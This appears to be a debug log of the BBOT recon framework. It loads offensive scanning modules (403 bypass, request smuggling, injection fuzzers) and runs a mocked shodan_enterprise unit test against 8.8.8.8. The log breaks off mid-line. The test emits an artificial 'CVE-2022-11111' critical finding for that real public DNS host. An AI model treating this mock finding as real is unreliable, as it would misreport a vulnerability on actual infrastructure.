09:03:07,760 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-02 09:03:07,760 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-02 09:03:07,761 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-02 09:03:07,761 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-02 09:03:07,761 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-02 09:03:07,762 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-02 09:03:07,763 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-02 09:03:07,763 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-02 09:03:07,763 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-02 09:03:07,764 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-02 09:03:07,764 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-02 09:03:07,764 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-02 09:03:07,765 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-02 09:03:07,766 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-02 09:03:07,766 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-02 09:03:07,766 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-02 09:03:07,767 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-02 09:03:07,767 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-02 09:03:07,768 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-02 09:03:07,768 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-02 09:03:07,768 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-02 09:03:07,769 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-02 09:03:07,769 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-02 09:03:07,770 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-02 09:03:07,770 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-02 09:03:07,771 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-02 09:03:07,771 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-02 09:03:07,772 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-02 09:03:07,772 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-02 09:03:07,772 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-02 09:03:07,773 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-02 09:03:07,773 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-02 09:03:07,774 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-02 09:03:07,774 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-02 09:03:07,774 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-02 09:03:07,775 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-02 09:03:07,775 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-02 09:03:07,775 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output +2026-03-02 09:03:07,776 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-03-02 09:03:07,776 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-03-02 09:03:07,777 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-03-02 09:03:07,777 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-03-02 09:03:07,778 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-03-02 09:03:07,778 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-03-02 09:03:07,779 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-03-02 09:03:07,779 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-03-02 09:03:07,780 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-03-02 09:03:07,780 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-03-02 09:03:07,781 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-03-02 09:03:07,781 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-03-02 09:03:07,782 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-03-02 09:03:07,782 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-03-02 09:03:07,782 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-03-02 09:03:07,783 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-03-02 09:03:07,783 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-03-02 09:03:07,784 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-03-02 09:03:07,784 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-03-02 09:03:07,785 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-03-02 09:03:07,786 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-03-02 09:03:07,786 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly +2026-03-02 09:03:07,786 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-02 09:03:07,787 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report +2026-03-02 09:03:07,787 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-03-02 09:03:07,788 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-03-02 09:03:07,788 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules +2026-03-02 09:03:07,788 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-02 09:03:07,789 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-02 09:03:07,789 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-02 09:03:07,790 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-02 09:03:07,790 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-02 09:03:07,792 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-02 09:03:07,793 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-02 09:03:07,795 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-02 09:03:07,796 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-02 09:03:07,797 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-02 09:03:07,797 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-02 09:03:07,798 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-02 09:03:07,799 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-02 09:03:07,799 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-02 09:03:07,800 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-02 09:03:07,800 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-02 09:03:08,619 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:03:08,619 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:03:08,620 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-02 09:03:08,719 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-02 09:03:09,118 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-02 09:03:09,119 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-02 09:03:09,119 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-02 09:03:09,119 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-02 09:03:09,248 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-02 09:03:09,249 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-02 09:03:09,355 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-02 09:03:09,357 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-02 09:03:09,382 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) +2026-03-02 09:03:09,384 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-02 09:03:09,385 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general +2026-03-02 09:03:09,798 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-02 09:03:09,799 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-02 09:03:11,924 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful +2026-03-02 09:03:11,925 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-02 09:03:11,925 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-02 09:03:14,712 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-02 09:03:14,712 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-02 09:03:14,716 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:03:14,717 [HUGEINFO] bbot.core.helpers.depsinstaller logger.py:151 Installing module dependencies. Please be patient, this may take a while. +2026-03-02 09:03:14,717 [VERBOSE] bbot.core.helpers.depsinstaller logger.py:151 Installing dependencies for module "shodan_enterprise" +2026-03-02 09:03:14,717 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-02 09:03:14,719 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/w16yt1i9zhs2t7h04231 +2026-03-02 09:03:15,448 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/lib/python3.13/site-packages (from tldextract->shodan) (3.18.0) +2026-03-02 09:03:15,449 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-02 09:03:15,449 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:03:15,450 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-02 09:03:15,450 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:03:15,450 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-02 09:03:15,450 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:03:15,451 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-02 09:03:15,451 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_enterprise +2026-03-02 09:03:15,518 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_enterprise" +2026-03-02 09:03:15,518 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-02 09:03:15,519 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive +2026-03-02 09:03:15,520 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" +2026-03-02 09:03:15,520 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" +2026-03-02 09:03:15,521 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-02 09:03:15,521 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python +2026-03-02 09:03:15,522 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" +2026-03-02 09:03:15,522 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-02 09:03:15,522 [VERBOSE] bbot.scanner logger.py:151 Setting up modules +2026-03-02 09:03:15,523 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-02 09:03:15,523 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-02 09:03:15,523 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-02 09:03:15,523 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-02 09:03:15,524 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-02 09:03:15,524 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-02 09:03:15,524 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-02 09:03:15,524 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-02 09:03:15,525 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-02 09:03:15,525 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-02 09:03:15,525 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-02 09:03:15,525 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-02 09:03:15,525 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-02 09:03:15,526 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-02 09:03:15,526 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-02 09:03:15,526 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-02 09:03:15,526 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-02 09:03:15,526 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-02 09:03:15,527 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-02 09:03:15,527 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-02 09:03:15,527 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-02 09:03:15,527 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-02 09:03:15,527 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-02 09:03:15,528 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-02 09:03:15,528 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-02 09:03:15,528 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-02 09:03:15,528 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-02 09:03:15,528 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-02 09:03:15,529 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-02 09:03:15,529 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-02 09:03:15,529 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-02 09:03:15,529 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-02 09:03:15,529 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. +2026-03-02 09:03:15,529 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-02 09:03:15,530 [DEBUG] bbot base.py:111 Starting scan +2026-03-02 09:03:15,608 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_enterprise_test_gxnvavuix2 +2026-03-02 09:03:15,609 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops +2026-03-02 09:03:15,681 [VERBOSE] bbot.scanner logger.py:151 6 modules started +2026-03-02 09:03:15,681 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-02 09:03:15,681 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-02 09:03:15,682 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) +2026-03-02 09:03:15,783 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:03:15,784 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:03:15,785 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:03:15,785 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) passed post-check +2026-03-02 09:03:15,786 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) +2026-03-02 09:03:15,787 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-02 09:03:15,787 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:03:15,788 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) in-scope because its main host matches the scan target +2026-03-02 09:03:15,789 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:03:15,789 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:03:15,790 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-02 09:03:15,790 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-03-02 09:03:15,790 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-02 09:03:15,791 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:03:15,792 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-02 09:03:15,796 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-02 09:03:15,797 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-03-02 09:03:15,797 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-02 09:03:15,798 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-02 09:03:15,798 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded +2026-03-02 09:03:15,799 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded +2026-03-02 09:03:15,799 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET +2026-03-02 09:03:15,799 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-03-02 09:03:15,800 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-02 09:03:15,802 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-03-02 09:03:15,882 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-02 09:03:15,883 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:31583ac49d717795810b28df72f40a31a44719cc', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:03:15,883 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET +2026-03-02 09:03:15,884 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-03-02 09:03:15,890 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check +2026-03-02 09:03:15,891 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) +2026-03-02 09:03:15,892 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:03:15,892 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) +2026-03-02 09:03:15,892 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,893 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,893 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check +2026-03-02 09:03:15,893 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) +2026-03-02 09:03:15,894 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) in-scope because its main host matches the scan target +2026-03-02 09:03:15,894 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) +2026-03-02 09:03:15,894 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'in-scope', 'dns'}) passed post-check +2026-03-02 09:03:15,895 [DEBUG] bbot.modules._scan_ingress base.py:1563 